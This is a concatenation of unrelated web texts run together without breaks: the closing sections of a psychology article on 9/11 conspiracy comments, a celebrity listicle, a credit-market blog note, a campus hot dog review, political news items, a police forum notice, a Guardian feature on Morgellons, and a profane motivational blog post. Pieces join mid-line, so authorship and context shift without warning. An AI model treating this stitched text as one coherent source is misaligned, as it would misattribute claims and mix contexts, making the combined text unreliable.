Decades of work on the psychology of social influence has shown that minorities are most effective in convincing others of their views if they are calm, consistent, and informative (e.g., Latané, 1981). Majority groups, on the other hand, can enforce adherence to social norms in a more forceful manner. Opinion polls show that most people in the West do not believe that 9/11 was an inside job (WorldPublicOpinion.org, 2008)—the conspiracist view is a minority one. Conventionalists, being in the majority, have more flexibility in this regard. While conventionalists can attempt to enforce conformity to the majority viewpoint, conspiracists must provide novel information and attempt to produce internal attitude change rather than outward conformity (Latané, 1981). The lowered hostility found for conspiracists indicates that they may have internalized some of the properties of good minority influencers.
Due to the counterintuitive nature of the hostility finding, in a novel analysis for the present article we followed up on our coding with a run of the Linguistic Inquiry and Word Count (LIWC) textual analysis software (Pennebaker et al., 2001, 2007). Combining all conspiracist comments together revealed an instructive difference from a combined entry of all conventionalist comments: while the two were comparable in most cases (see Figure 1), the conspiracist comments used more positive than negative emotional words (1.85% positive vs. 1.58% negative), while the opposite was true for conventionalist comments (1.55% positive vs. 1.74% negative). While this analysis did not reveal the targets of these emotional expressions, this finding is all the more remarkable as the conspiracist comments usually posited a massive, murderous conspiracy—something that would seem to justify a great deal of negativity. The fact that conspiracists' negativity was outweighed by conventionalists' is noteworthy.
FIGURE 1
Figure 1. Results from LIWC analysis of comment database, showing prevalence of self-references (I, me, my), social words, positive emotions, negative emotions, cognitive words, articles, and words with more than six letters.
This finding is somewhat counterintuitive. Conspiracy explanations for events are often stigmatized as the product of mental illness or gullibility (Bratich, 2002, 2008). Of course, conspiracists can be quite hostile as well, often accusing their rhetorical opponents of naiveté or even complicity in the conspiracy (Crane, 2008; Byford, 2011), but in this case the former seems to outweigh the latter. Interestingly enough, however, this finding seems to contradict a previous finding that conspiracy belief is positively correlated with trait hostility (Abalakina-Paap et al., 1999). It also runs counter to the stereotype of conspiracists as behaving in an irrational and unbalanced manner (Bratich, 2008). However, anonymous online communication is a fairly specific situation, and it is difficult to draw firm conclusions from these results regarding personality traits or more broad tendencies in social interaction. It is quite possible that conspiracist views are correlated with higher trait hostility in general, but that something about the communicative situation provokes an unusually hostile reaction among conventionalists. Regardless, this result should sound a note of caution for conventionalists: hostility is best avoided when trying to convince others of something. Conventionalists tend to overestimate their own rationality and underestimate others', which, as Klein et al. (2015) note, may be responsible for conspiracy theories' unexpected and unnoticed influence upon those who initially reject them (Douglas and Sutton, 2008).
Usage of “Conspiracy Theory”
Data analysis indicated a general tendency to avoid the conspiracy theory label. Whether conspiracist or conventionalist, commenters were largely unwilling to apply it to their own beliefs, and would often argue the point if others did so. Evidently, despite endorsing conspiracist explanations, and being sufficiently committed to them to argue about them extensively, people appeared to be motivated to avoid the social stigma associated with the label. In objecting to the label, many commenters characterized it as an intellectual slur used to marginalize dissent and pathologize reasonable suspicion, which is in line with recent scholarly characterizations by Bratich (2002, 2008), deHaven-Smith (2013), and Husting and Orr (2007). Recent research has borne out the intuitive idea that such a stigma exists, demonstrating that people tend to view conspiracists as gullible, naive, crazy, and dishonest (Klein et al., 2015). However, whether the label is an effective rhetorical weapon is unclear; recent experiments have shown that simply labeling something a conspiracy theory does not reduce belief in it (Wood, 2015). This is a prime area for future research.
Discussion
In general, the findings of Wood and Douglas (2013) provide an instructive insight into the conspiracist mindset. The results are in agreement with past work on conspiracy theories, which indicates that the methodology is a sound one. The arguments that people use may be a reflection of what they find most convincing, which in turn may reveal something about their psychological state.
Content analysis of online communication has several potential advantages. The amount of raw material publicly available for such analysis on the Internet is huge. This method also allows investigation of populations that would be averse to filling out questionnaires or participating in laboratory experiments; in fact, people with a high degree of conspiracist ideation are probably such a category. There are, of course, some pitfalls to be avoided as well. Namely, there is some degree of self-presentation at work, as seen in the case of the powerlessness result reviewed above. In addition, the logic of the analysis depends on people using projection to determine which persuasive strategies to adopt. In situations where the person producing the communication knows their audience, they will tailor their message accordingly. In that case, the content of the message would be a reflection of the writer's perception of the audience as well as the writer's own psychological state—it is only when there is little or no information about the audience that communications are based mostly on projection (Friestad and Wright, 1999; Douglas et al., 2010; Vogel et al., 2010). Researchers must therefore take care to establish whether the communications under analysis are written to a general (and thus projected) audience, or to a specific person known to the author. Moreover, social desirability can play a role in persuasive communication. Feelings of powerlessness are not unheard-of among either conspiracists or conventionalists, yet almost no commenters were willing to state that they felt powerless. This may be because feeling powerless is not an attractive prospect when trying to sell others on adopting a worldview. Given the self-presenting nature of persuasive communication, caution is warranted when drawing conclusions regarding socially undesirable subject matter. It is also worth noting that we have interpreted our results, especially the hostility result, as manifestations of the influences exerted by the situation and the properties of the commenters' belief systems. However, there is a robust literature on individual differences in conspiracy belief (e.g., Swami et al., 2011; Uscinski, 2014), so it is possible, as in any correlational design, that the arrow of causation points the other way.
Finally, in any analysis of online discussion, researchers must take care not to over-interpret the findings. We extracted about twice as many conspiracist as conventionalist comments, but due to the self-selecting nature of online discussion this does not match the popularity of 9/11 conspiracy theories in the broader population (WorldPublicOpinion.org, 2008). Moreover, there is the potential for prolific individuals to dominate conversation. Although the sample consisted of 2174 comments, these were written by only 1156 unique authors, 321 of whom commented more than once. While our findings were the same when the unit of analysis was authors rather than comments, this will not always be the case, and there is always the potential for “sock puppets,” or alternate online identities run by the same person, to interfere with such calculations by creating the appearance of consensus where there is none. In general, researchers should be aware of the peculiarities and pitfalls of Internet commenting culture in order to draw reliable conclusions from an online comment sample.
Conclusions
In this project, we have reviewed the findings of a previous study (Wood and Douglas, 2013) in the context of existing research into the psychology of conspiracy theories. Consistent with what we expected from prior research, conspiracist comments (relative to conventionalist comments) were less hostile, more likely to make negative arguments, less likely to make positive arguments, and more positive toward unrelated conspiracy theories. These findings support the idea of a broad conspiracist worldview based on disbelief in mainstream or received narratives, and highlight the analysis of online communication as a potentially useful tool for gaining insight into the worldview and assumptions of the persuader.
Conflict of Interest Statement
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
Acknowledgments
We would like to thank Daniel Jolley for his invaluable contribution to the original study.
Author Biography
Michael J. Wood completed his PhD at the University of Kent, UK, and is currently working as a Lecturer in Psychology at the University of Winchester. His primary research interest is in why people believe and disbelieve in conspiracy theories, and he blogs occasionally on this subject at http://www.conspiracypsychology.com
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one of her junior high teachers encouraged her to try out for the school play—a totally unappealing feat given the fact that she had such a hard time communicating. But the teacher kept gently pressing and suggested she try accents and character voices to help get the words out—and it worked. By the end of her teens, Blunt had overcome her stutter and went on to achieve the successful career she has now.
Photo courtesy of DFree / Shutterstock.com.
9. Oprah Winfrey
Oprah’s dealt with a lot throughout her public life—criticism about her weight, racism, intrusive questions about her sexuality, just to name a few—but she never let it get in the way of her ambition and drive. When you look at her childhood, her personal triumphs are cast in an even more remarkable light.
Growing up, Oprah was reportedly a victim of sexual abuse and was repeatedly molested by her cousin, an uncle, and a family friend. Later, she became pregnant and gave birth to a child at age 14, who passed away just two weeks later. But Oprah persevered, going on to finish high school as an honors student, earning a full scholarship to college, and working her way up through the ranks of television, from a local network anchor in Nashville to an international superstar and creator of her OWN network (we couldn’t help ourselves).
Photo courtesy of s_buckley / Shutterstock.com.
More From LearnVest
Photo of Emily Blunt courtesy of DFree / Shutterstock.com.More about the developing liquidity crisis, again from the Financial Times:
Investors fear the financial system is moving into new credit turmoil, which could create further losses for financial institutions – and potentially hurt sentiment in the “real” economy. Credit markets are trading at levels which imply that investors assume that the US is heading for a recession, bank analysts and economists have warned. … Swaps spreads rose sharply in UK gilts and US Treasuries, amid a flight to quality and fear of bank defaults. Spreads on high-yield corporate bonds and the yen-dollar exchange rate also leapt dramatically, while liquidity evaporated in many corners of the credit markets.
A funny thing: there’s a weird discrepancy in tone on all this between European and US news sources. Europeans are screaming; here, it’s barely being covered. Either London is panicking without justification, or the financial press here is missing the story.
Anyway, for background on what the financial markets seem to be saying — and on what to watch this week — read Listening to Libor.Campus is full of different types of student-friendly street meat. MALLIKA MAKKAR/THE VARSITY
This piece is dedicated to the former hot dog stand in front of Robarts. You will forever be in our hearts (and stomachs).
Hot dogs are to students what gasoline is to cars; they provide energy and sustenance to keep you going throughout the day, but, like fossil fuels, you may want to think twice before putting them in your mouth.
In keeping with this perhaps misguided automobile analogy, we spent Friday afternoon motoring our way down St. George Street, parking ourselves at each hot dog stand that crossed our path. Our goal? To partake in and review the St. George campus’ vast array of franks.
We began by laying out the ground rules for our carnivorous quest. We would, at the first stand, ingest our own respective ‘furters, bedecking them with all the fixings we could conceivably fit on the bun. As the journey progressed, we would — in order to prevent our bellies from blowing — split each subsequent dog, ripping it down the middle King Solomon-style (shout out to applicable Biblical humour).
First Stop
We met our first hot dog with heart and determination — our stomachs were empty, and we were prepared to fill ourselves with meaty goodness. Located at the corner of Bloor and St. George, we both ordered an all-beef dog from Noori, the stand’s amiable owner, and waited a meager two minutes for the food to be ready. Conveniently, this was Noori’s first day on the job in this particular location, which meant he had been taking extra care to impress the customers. The end result was a finely cooked, succulent dog, piled with an infinite array of toppings, that thoroughly fulfilled our abdominal desires.
RANKING: 5/5 HOTDOGS
Second Stop
Next, we made our way towards the stand in front of Sid Smith. Arriving at our second destination, we were met by Sani, the stand’s owner. We ordered another all-beef hot dog — this time with the intention of splitting it — and noticed another hot dog stand just down the road, located uncomfortably close to its competitor. Sani, however, seemed unfazed, and served us our alarmingly long frankfurter within minutes of ordering. Unfortunately, this hot dog was a tad overcooked, and the all-too-familiar black crust had begun festering at the top. We shoveled it down and made our way to the next stop, a little green around the edges.
RANKING: 2/5 HOTDOGS
Third Stop
A stone’s throw away from our previous stop, this stand — curiously labeled “Mama’s Best,” despite the startling absence of a maternal presence — offered us the best dog of the day. Opting to change things up, we decided to gorge on a jumbo chicken dog, leaving our beefy roots well behind us. Stefan, the cart’s operator boasting eight years of hot dog stand experience, was bubbly and kind, and cooked up a hearty, delicious dog with a perfectly toasted bun. He even answered a question that had been nagging us since we embarked on our journey: where does the stand go at night? “I keep it in my garage,” he explained, with a mysterious glint in his eye. We left the stand full, but somewhat skeptical of this response: we’re on to you, Stefan.
RANKING: 5/5 HOTDOGS
Fourth Stop
Our guts nearing maximum capacity, we opted to cap off the day with a deviation in form: a trip to the blue ruck outside of McLennan Physical Laboratories. We had had all that we could stand with stands.
It instantly dawned on us that trucks are a lot less intimate than stands. Stefan had managed to create a rewarding customer experience simply by engaging us in pleasant conversation. But after taking our order at Blue Truck, the operator disappeared behind a veil of deep-fryers and stacked beverages. The pig-in-the-blanket we were given lacked soul and care; the pig tasted undercooked and sour, and the blanket started to crumble and flake as soon as it entered our hands. The bitter taste of a lacklustre hot dog in our mouths marked a glum end to an otherwise fulfilling (emphasis on the filling) day.
RANKING: 1.5/5 HOTDOGS
In conclusion
While we would not suggest this Homeric quest to anyone who values their arteries, we do recommend the occasional campus dog. Hopefully you will consult this guide on your next trip to the hot dog stand, so that all of this gastrointestinal chaos hasn’t been in vain.
For further questions, please call Toronto General Hospital.Joy Behar admitted on “The View” Monday that she hopes President Donald Trump doesn’t succeed.
It happened during a panel discussion when Meghan McCain blasted her co-hosts for helping spread “fake news” Friday on the show following the erroneous report from ABC’s Brian Ross that said then candidate Trump directed Michael Flynn to contact the Russians.
“I have a lot of things to say about this. When it happened in real-time, I think everyone was watching the show could see my discomfort at the room erupting like the Dodgers just won the World Series,” McCain shared. “Because I do think holding people to both standards — I remember when [Barack] Obama was in office Rush Limbaugh saying ‘I want my president to fail.’ And coming out and saying I could never get behind that because if our president fails it means America fails. I think if we’re celebrating a breach of national security, something so egregious… it’s going to tear our country apart.” (RELATED: Joy Behar Insists Hillary Clinton Won The Election — Meghan McCain Hits Her With The Truth [VIDEO])
“I went to a Christmas party over the weekend, it’s no secret, most of my friends are in conservative media, I feel a lot like I’m an astronaut from a different planet come here to try to explain both worlds to each other, that’s how different I feel on this show sometimes,” she added. “And I will say that fake news, and what we did on Friday, that’s what I was accused of being a part of.”
McCain and Behar then disagreed over whether Ross’ report was fake news or a mistake, before Behar admitted that she didn’t want Trump to succeed.
“I’m not so sure I want him [Trump] to succeed at destroying the environment, playing chicken with Kim Jong-Un,” Behar explained. “So, I don’t want him to succeed at a lot of things. As you say, ‘we want our president to succeed.’ No I don’t.”
“I still at the end of the day, I love America,” McCain responded. “I’m a true patriot. I want Trump to succeed. I want Obama to succeed. I want America to continue being the greatest.”
“I love America too, it’s him I can’t stand,” Behar snapped back and then threw to a commercial break.Community
Berkeley Police Chief Andrew Greenwood will be hosting a series of four Community Forums over the summer and into early September. The first Community Forum will be in West Berkeley on July 17, 2017 from 6:00pm to 9:00pm at the Berkeley Adult School (1701 San Pablo Avenue). The remaining three meetings will be in other parts of the city.
"These community forums will give us the opportunity to converse with our community; to hear our community's perspective on what we're doing well, where we can improve, and what priorities and concerns our community members have for our Department." said Chief Greenwood. "While these meetings will take place in different parts of the City, but anyone may attend any of the meetings, all are invited."
The forums will be structured to give attendees an opportunity to engage with Officers, Detectives and Professional Staff from throughout the department, including the Chief and Command Staff, Detectives, Dispatchers, Area Coordinators, Beat Officers, Special Response Team members, Personnel and Training, Motor Officers and Parking Enforcement Officers.
These meetings come as the result of Chief Greenwood’s commitment to proactively seek community feedback to inform the Department's planning for the future, and to focus on enhancing trust and understanding between the community and its police department.
In addition to the July date, please mark your calendars for our future forums. The locations have yet to be determined but those dates and times are:
August 8, 2017, from 6:00pm to 9:00pm (location TBD – North Berkeley)
August 24, 2017, from 6:00pm to 9:00pm (location - East/South Berkeley)
September 7, 2017, from 6:00pm-9:00pm (location TBD – South Berkeley)
If you have questions about the events, please feel free to contact the Community Services Bureau at (510) 981-5806. We look forward to seeing you at one of the events.Looking for news you can trust?
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Cresent Hardy was expected to be the milquetoast candidate in the Republican primary for Nevada’s 4th district—especially compared with his competitor for the GOP nod, Niger Innis, who said that the fight to open the Arctic National Wildlife Refuge for drilling was “very much like the civil rights revolution.”
But on Tuesday, Hardy, a Nevada state assemblyman, gave Ennis a run for his money. In an interview with the Las Vegas Sun, Hardy called the Employment Nondiscrimination Act, a federal bill passed by the Senate that prohibits employers from discriminating against workers on the basis of their sexual orientation or gender identity, “segregation.”
“When we create classes, we create that same separation that we’re trying to unfold somehow,” Hardy told the Sun. “By continuing to create these laws that are what I call segregation laws, it puts one class of a person over another. We are creating classes of people through these laws.”
In the same interview, Hardy vowed that he “will always vote against same sex marriage because of my religious beliefs, the way I was raised…For me to vote for it would be to deny the same God that I believe in.”
As a state assemblyman, Hardy was one of just 13 assembly members to vote against a Nevada bill banning housing and job discrimination against transgender people. Republican Governor Brian Sandoval signed that bill into law in May 2011.
Hardy and Innis are competing to challenge first-term Democratic Rep. Steven Horsford. The sprawling 4th district, which covers northern Las Vegas suburbs, leans Democrat, although Horsford was elected in 2012 with a scant 50.1 percent of the vote. While Innis is running as an outsider, Hardy is squarely backed by the Republican establishment, having racked up endorsements from Sandoval, Sen. Dean Heller, and Rep. Mark Amodei.Looking for news you can trust?
Subscribe to our free newsletters.
Donald Trump has big plans to reduce the federal budget. The Hill reported on Thursday morning that his transition team has been working off a Heritage Foundation blueprint and pulled together a list of government agencies they hope to wipe out. The plans include privatizing the Corporation for Public Broadcasting (so long, Big Bird), cuts in nuclear physics research at the Department of Energy, and ending money spent on the historic Paris climate agreement. The National Endowment for the Arts will disappear if Trump gets his way. Trump apparently hasn’t told his Cabinet nominees that they’ll soon be in charge of diminished budgets. In total, Trump’s cuts to federal programs would reportedly slice $10.5 trillion in spending over the next decade.
Add to the list of government programs on the possible chopping block: Violence Against Women grants in the Department of Justice. The office that handles those grants had a $480 million budget in 2016. As Twitter user Caroline Q. pointed out, it currently oversees 25 grant programs that help women who have been victims of domestic violence.
#BREAKING: Trump team is planning to ELIMINATE the DOJ’s 25 Violence Against Women grant programs (listed below). https://t.co/DPNHiW38SZ pic.twitter.com/O2LtGPUAn5 — Caroline O. (@RVAwonk) January 19, 2017
Our future president is fond of bragging about how he can get away with sexual assault, and he was accused of rape by his ex-wife. More than a dozen women came forward during the presidential campaign with allegations of sexual assault. Programs that deal with helping women who face violent men may not be high on his list of presidential priorities.It all started in August 2007, on a family holiday in New England. Paul had been watching Harry Potter And The Order Of The Phoenix with his wife and two sons, and he had started to itch. His legs, his arms, his torso – it was everywhere. It must be fleas in the seat, he decided.
But the 55-year-old IT executive from Birmingham has been itching ever since, and the mystery of what is wrong with him has only deepened. When Paul rubbed his fingertips over the pimples that dotted his skin, he felt spines. Weird, alien things, like splinters. Then, in 2008, his wife was soothing his back with surgical spirit when the cotton swab she was using gathered a curious blue-black haze from his skin. Paul went out, bought a £40 microscope and examined the cotton. What were those curling, coloured fibres? He Googled the words: "Fibres. Itch. Sting. Skin." And there was his answer. It must be: all the symptoms fitted. He had a new disease called morgellons. The fibres were the product of mysterious creatures that burrow and breed in the body. As he read on, he had no idea that morgellons would turn out to be the worst kind of answer imaginable.
Morgellons was named in 2001 by an American called Mary Leitao, whose son complained of sores around his mouth and the sensation of "bugs". Examining him with a toy microscope, Leitao found him to be covered in unexplained red, blue, black and white fibres. Since then, workers at her Morgellons Research Foundation say they have been contacted by more than 12,000 affected families. Campaign group the Charles E Holman Foundation states there are sufferers in "every continent except Antarctica". Thousands have written to Congress demanding action. In response, more than 40 senators, including Hillary Clinton, John McCain and a pre-presidential Barack Obama, pressured the Centres For Disease Control And Prevention (CDC) to investigate; in 2006, it formed a special taskforce, setting aside $1m to study the condition. Sufferers include folk singer Joni Mitchell, who has complained of "this weird incurable disease that seems like it's from outer space... Fibres in a variety of colours protrude out of my skin: they cannot be forensically identified as animal, vegetable or mineral. Morgellons is a slow, unpredictable killer – a terrorist disease. It will blow up one of your organs, leaving you in bed for a year."
So it's new, frightening and profoundly odd. But if you were to seek the view of the medical establishment, you'd find the strangest fact about this disease: morgellons doesn't exist.
I meet Paul in a pub in a Birmingham suburb. He shows me pictures he's collected of his fibres. On his laptop, a grim parade of images flicks past. There are sores, scabs and nasal hairs, each magnified by a factor of 200. In each photo there is a tiny coloured fibre on or in his skin.
"Is it an excrement?" he asks. "A byproduct? A structure they live in?" A waitress passes with a tray of salad as he points to an oozing wound. "Is it a breathing pipe?"
Paul absent-mindedly digs his nails into a lesion just below the hem of his shorts. Little red welts pepper his legs and arms, some dulled to a waxy maroon, others just plasticky-white scar tissue.
He has seen an array of experts – GPs, allergy doctors, infectious diseases clinicians and dermatologists. Most end up agreeing with the skin specialist to whom he first took samples of his fibre-stained cotton: his sores are self-inflicted and he suffers from delusions of parasitosis (DOP), a psychiatric condition in which people falsely believe themselves to be infested. This particular form of DOP is thought to be unique, in that it's spread through the internet. Whereas in the past, episodes of mass hysteria were limited to small communities – perhaps the most famous being the witch panic in Salem, Massachusetts in the 1690s – today, imagined symptoms can spread much farther on the web.
Paul is not convinced by this diagnosis. He carries an alcohol hand gel everywhere he goes, has four showers a day and steam-cleans his clothes. The stress leaves him exhausted, short-tempered. He has difficulty concentrating or applying himself at work. His lowest points have been "pretty much feeling like ending it. Thinking, could I go through with it? Probably. It's associated with the times the medical profession have dismissed me. It's just… I can't see myself living for ever with this."
Has he mentioned these thoughts to his doctor?
"No, because talking about things like that adds a mental angle – supports the prognosis of DOP. And it's absolutely a physical condition. I mean, look!"
The evidence on his computer does appear convincing. Much thinner than his body hair, the fibres seem to be protruding from his sores. But what are they? And how did they get there? To find out, I'm heading to the 4th Annual Morgellons Conference in Austin, Texas, to meet a molecular biologist who doesn't believe the medical consensus. Rather, he argues, the forensic tests he's commissioned on the fibres point to something altogether more unworldly.
In spring 2005, Randy Wymore, associate professor of pharmacology at Oklahoma State University, stumbled across an article about morgellons. Reading about the fibres sufferers believed were the byproduct of some weird parasite, but which were dismissed by dermatologists as humdrum environmental detritus, he thought, "But this should be easy to figure out." He emailed sufferers, requesting samples, then compared them with samples of cotton, nylon, carpets and curtains. Examining them under the microscope, he got a shock. The sufferers' fibres looked utterly different.
Wymore arranged for fibre analysis at the Tulsa police department's forensic laboratory. Moments into his tests, a detective with 28 years' experience of this sort of work murmured, "I don't think I've ever seen anything like this." The morgellons particles didn't match any of the 800 fibres on their database, nor the 85,000 known organic compounds. He heated one fibre to 600C and was astonished to find it didn't burn. By the day's end, Wymore concluded, "There's something real going on here. Something we don't understand at all."
Last year, he approached several commercial laboratories to run further tests, but the moment they discovered the job was related to morgellons, firm after firm backed out. Finally, Wymore found a lab prepared to take the work. It is these results that will be revealed during the course of the two-day conference.
Dr Greg Smith is covered in waxy scars caused, he says, by morgellons: ‘You feel the sensation of something that’s trying to come out of your skin.’ Photograph: Bartram Nason for the Guardian
An hour south of Austin, in the lobby of the Westoak Woods Baptist Church convention centre, morgellons sufferers from the US, UK, Spain, Germany and Mexico gather by the breakfast buffet. Threads of conversation rise from the hubbub: "I mix Vaseline with sulphur and cover my entire body"; "The more you try to prove you're not crazy, the more crazy they think you are"; "The whole medical community is part of this. I wouldn't say it's a conspiracy but…"
Many of the attendees have been diagnosed with DOP, a subject that enrages one of the first speakers – Dr Greg Smith, a paediatrician of 28 years' experience. "Excuse me, people!" he says. "This is morally and ethically wrong! So let me make a political statement, boys and girls." He pulls off his jumper, to reveal a T-shirt reading, "DOP" with a red line through it. "No more!" he shouts above wild applause. "No more!"
Later, Smith tells me he's been a sufferer since 2004. "I put a sweatshirt I'd been wearing in the garden over my arm and there was this intense burning, sticking sensation. I thought it was cactus spines. I began picking to get them out, but it wasn't long before it was all over my body." He describes "almost an obsession. You just can't stop picking. You feel the sensation of something that's trying to come out of your skin. You've just got to get in there. And there's this sense of incredible release when you get something out."
Margot, a midwife from Ramsgate, takes regular saunas in an attempt to relieve her symptoms; in the past, she has gone so far as bathing in bleach. Photograph: Nick Ballon for the Guardian
Smith's exposed skin is covered in waxy scars. Although he still itches, his lesions appear to have healed. If, as morgellons patients believe, the sores are not self-inflicted but caused by fibre-creating parasites, how is this possible? "I absolutely positively stopped picking," he says.
That evening, at a nearby Mexican restaurant, I meet Margot, a midwife from Ramsgate who has resorted to bathing in bleach to rid herself of morgellons. She describes how, armed with times-three magnification spectacles, a magnifying glass and a nit comb, she scraped "black specks" from her hair and face on to sticky labels and took them to a dermatologist. She was diagnosed with DOP. "I'm a midwife," she says. "I take urine samples and blood specimens. So I was taking them a specimen. That's what wrecked my life and career."
Next, I corner Randy Wymore. He is a slim man with a charcoal shirt, orange tie and neatly squared goatee. "We have not yet exactly replicated the exact results of the forensics people in Tulsa," he admits. So far, the laboratory has found Wymore's various morgellons fibres to be: nylon; cotton; a blond human hair; a fungal fibre; a rodent hair; and down, most likely from geese or ducks.
"That's disappointing," I say.
He leans his head to one side and smiles. "It is, for the most part, disappointing, but there was a bunch of cellulose that didn't make sense on one. And another was unknown." There's a pause. "Well, they said it was a 'big fungal fibre', but they weren't completely convinced."
The next day, nursing practitioner Dr Ginger Savely, who claims to have treated more than 500 morgellons patients, leads an informal discussion in the conference room. Around large circular tables sit the dismissed and the angry. "I've seen a fibre go into my glasses," says one. "I've seen one burrow into a pad," adds another. "One of my doctors thinks it's nanotechnology"; "I was attacked by a swarm of some type of tiny wasps that seemed to inject parts of their bodies under my skin"; "They have bugs on public transport. Never put your suitcase on the floor of a train."
A furious woman with a big scar on her jaw says, "I have Erin Brockovich's lawyer's number in my purse. Don't you think I'm not going to use it."
"But who are you going to sue?" asks a frail, elderly lady two tables away.
The morgellons believers look expectantly at the indignant litigant. "I don't know," she says.
In a far corner, a woman with a round plaster covering a dry, pinkly scrubbed cheek weeps.
I retire to the lobby to await my allotted chat with Savely. I become aware of a commotion at reception. One of the attendees is complaining loudly: "It's disgusting! Bugs! In the bed. I've already been in two rooms…"
When she's gone, I ask the receptionist if, over the weekend, there has been a surge in complaints about cleanliness. "Oh yeah." She leans forward and whispers conspiratorially. "I think it's part of their condition."
Yet, when we speak, Savely is resolute. "These people are not crazy," she insists. "They're good, solid people who have been dealt a bad lot."
A woman approaches the vending machine behind Savely. Between her hand and the handle of her walking stick is a layer of tissue paper.
There is an element of craziness, I suggest.
"OK, there is," she says, "but it's understandable. For people to say you're delusional is very anxiety-provoking. Then they get depressed. Who wouldn't? The next stage is usually an obsessive-compulsive thing – paying attention to the body in great detail. But, again, I feel this is understandable, in the circumstances."
I slip back into the conference room, where Margot is using her £700 Wi-Fi iPad telescope to examine herself. I have an idea.
"Can I have a go?"
Pushing the lens into my palm, I immediately see a fibre. The group around me falls into a hush. "Did you clean your hand?" Margot asks. She fetches an antibacterial wet-wipe. I scrub and try again. I find an even bigger fibre. I wipe for a second time. And find another one. Margot looks up at me with wet, sorry eyes. "Are you worried?" She puts a comforting hand on my arm. "Oh, don't be worried, Will. I'm sure you haven't got it."
Back in London, I find a 2008 paper on morgellons in the journal Dermatologic Therapy that describes patients picking "at their skin continuously in order to 'extract' an organism"; "obsessive cleaning rituals, showering often" and individuals going "to many physicians, such as infectious disease specialists and dermatologists" – all behaviours "consistent with DOP". (For treatment, the authors recommend prescribing a benign antiparasitic ointment to build trust, and supplementing it with an antipsychotic.) After finding "fibres" on my own hand, I'm fairly satisfied morgellons is some 21st-century genre of OCD spread through the internet and the fibres are – as Wymore's labs report – particles of everyday, miscellaneous stuff: cotton, human hair, rat hair and so on.
There is one element of the condition that's been niggling, though. Both Paul and Greg's morgellons began with an explosion of itching. Now it's affecting me: the night after my meeting with Paul, I couldn't sleep for itching. I had two showers before bed and another in the morning. All through the convention, I am tormented; driven to senseless scratching. Why is itch so infectious?
I contact Dr Anne Louise Oaklander, associate professor at Harvard Medical School and perhaps the only neurologist in the world to specialise in itch. I email her describing morgellons, pointing out it's probably some form of DOP. But when we speak, she knows all about morgellons already. "In my experience, morgellons patients are doing the best they can to make sense of symptoms that are real. They're suffering from a chronic itch disorder that's undiagnosed. They have been maltreated by the medical establishment. And you are welcome to quote me on that," she adds.
In 1987, German researchers found itch wasn't simply the weak form of pain it had always been assumed to be. Rather, they concluded itch has its own separate and dedicated network of nerves. And while a pain nerve has a sensory jurisdiction of roughly a millimetre, an itch nerve can pick up disturbances on the skin over three inches away.
Oaklander surmises that itch evolved as a way for humans instinctively to rid themselves of dangerous insects. When a mosquito lands on your arm and it tickles, this sensation is not the straightforward feeling of its legs pushing on your skin. It is, in fact, a neurological alarm system; one that can go wrong for a variety of reasons – shingles, sciatica, spinal cord tumours or lesions, to name a few. In some cases, it can be triggered, suddenly and severely, without anything touching the skin.
This, Oaklander believes, is what is happening to morgellons patients. "That they have insects on them is a very reasonable conclusion because, to them, it feels no different from how it would if there were insects on them. To your brain, it's exactly the same. So you need to look at what's going on with their nerves. Unfortunately, what can happen is a dermatologist fails to find an explanation and jumps to a psychiatric one."
That's not to say there aren't some patients whose problem is psychiatric, she adds. Others still might suffer delusions in addition to their undiagnosed neuropathic illness. Even so, "It's not up to some primary care physician to conclude that a patient has a major psychiatric disorder."
The CDC is due to publish a long-delayed study on the condition and, if it proves Oaklander's theory correct, this would explain a great deal. Why, for example, Greg Smith's lesions stopped developing when he stopped scratching: because they were self-inflicted. Why I found fibres on my hand: because they are picked up from the environment. What's more, if morgellons is not actually a disease but a combination of symptoms that might have all sorts of different maladies as its source, this squares with something Savely said she's "constantly perplexed about… when I find a treatment that helps one person, it doesn't help the next at all. Every patient is a whole new ball game."
I phone Paul and explain the itch-nerve theory.
"I can't see how that relates to the physical condition," he sighs. "I've got marks on my back that I can't even reach. I've not created those by scratching."
I ask how he has been. "Pretty crap, actually. Been forced out of my job. They said it's 'based on my engagement level', and that's down to the lack of energy I've got. I can't sign myself off sick or as having a degraded performance because morgellons is not a diagnosis. There's no legitimate reason for me not to be operating at full speed."
There's a silence.
"Another thing has been destroyed by this disease," he says finally. "And all because morgellons isn't supposed to exist."
• Some names have been changed.Everything is dumb right now.
From nose to tail, we have become the dumbest, saddest pig at the county fair. Historians will not refer to this period as THE DARK AGES, but rather, THE DUMB AGES. The greatest question I get, right now, is how to simply persist creating art and staying motivated and creative in this epoch of syphilitic dipshittery, so I thought I’d bop in here and try my hand at answering that.
1. Stop staring at the news and at social media. This is hard, because presently the news is a series of constantly crashing cars right outside your window. One after the next, bang, smash, crash. The symphony of shrieking metal is very, very hard to turn away from. In many eras, the news is only marginally relevant to you on a day to day basis but, to me it seems that ratio is going up, up, up. The healthcare debacle alone affects me, um, rather significantly. If I don’t have access to healthcare via health insurance, then this thing that I do gets a whole lot harder. Just the same, I gotta know to turn away from it. The news is a vampire. It’ll bleed you dry and leave you a desiccated husk on the carpet. You can look at it, but pick your times. Write or make art first, then go and stare into the unswerving gaze of Sauron himself.
2. Writing is an act of resistance. Art is an act of resistance. Shit, just living your life in the maelstrom is resistance. Here’s how you know when something is a act of resistance: would the Shitty People, the Petty Men with Axes, want you to do it? No? Then do it. They want you showing your belly. They want you to stop contributing your ideas. They want you to shut the fuck up. So, don’t. Don’t get sad. Get mad. Get fucking pissed. And then —
3. Put that piss and vinegar into the work. Pour it right in. Glug, glug, splish-splash.
4. Do some real resistance, too. Make your calls. Join a protest. Contribute some cash to an organization who will carry the fight in ways you cannot. Key point: do this after you’re done doing the thing you need to do. You know how the airlines tell you to put on your own mask first? Put on your own mask first. Make the words. Art the art. Eat that cheese. Pluck that banjo. Then when you are done for the day, get down to the acts of resistance major and minor.
5. Hey, also, just take care of yourself. These are dumb times and dumb times often call for tireless marathons of beer and donuts and naps — and definitely do those things from time to time! — but also, like, eat some fucking vegetables, get some exercise, get some rest. Trust me, I get it, pretty much every day I hit a period where I’m like, “The best thing I can do right now would be to drink whiskey until I stop recognizing the world,” but I don’t, because I have to stay sharp. I have to stay sharp to make stuff and to be ready for whatever this era of epic stupid is going to throw at me. Take care of your shit.
